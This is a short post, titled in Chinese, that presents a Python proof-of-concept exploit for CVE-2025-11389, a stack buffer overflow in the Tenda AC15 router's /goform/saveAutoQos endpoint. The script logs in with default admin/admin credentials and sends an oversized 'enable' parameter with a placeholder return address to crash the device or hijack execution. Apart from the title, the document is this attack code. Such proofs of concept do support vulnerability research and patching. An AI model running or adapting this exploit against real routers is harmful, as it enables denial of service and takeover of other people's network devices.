CVE-2025-11389：Tenda AC15路由器saveAutoQos栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11389 - Tenda AC15 saveAutoQos Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via 'enable' parameter in /goform/saveAutoQos # Affected: Tenda AC15 firmware 15.03.05.18 import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" TARGET_PORT = 80 USERNAME = "admin" PASSWORD = "admin" # Buffer size to trigger overflow (adjust based on target) BUFFER_SIZE = 512 # Return address placeholder (e.g., for redirecting execution) RET_ADDRESS = b"\x41\x41\x41\x41" def login(session, host, port, username, password): """Login to Tenda AC15 router web interface.""" login_url = f"http://{host}:{port}/login/Auth" data = { "username": username, "password": password } try: resp = session.post(login_url, data=data, timeout=10) if resp.status_code == 200: print(f"[+] Login successful to {host}") return True except Exception as e: print(f"[-] Login failed: {e}") return False def exploit(session, host, port): """Trigger stack buffer overflow via saveAutoQos endpoint.""" target_url = f"http://{host}:{port}/goform/saveAutoQos" # Craft malicious 'enable' parameter to overflow stack buffer payload = b"A" * BUFFER_SIZE + RET_ADDRESS data = { "enable": payload.decode('latin-1') } print(f"[*] Sending exploit payload ({len(payload)} bytes) to {target_url}") try: resp = session.post(target_url, data=data, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[+] Exploit sent. Check if device crashed or shell obtained.") except requests.exceptions.Timeout: print("[+] Target timed out - possible crash/overflow triggered!") except Exception as e: print(f"[+] Exception occurred (possible crash): {e}") if __name__ == "__main__": session = requests.Session() if login(session, TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD): exploit(session, TARGET_HOST, TARGET_PORT) else: print("[-] Cannot proceed without valid credentials")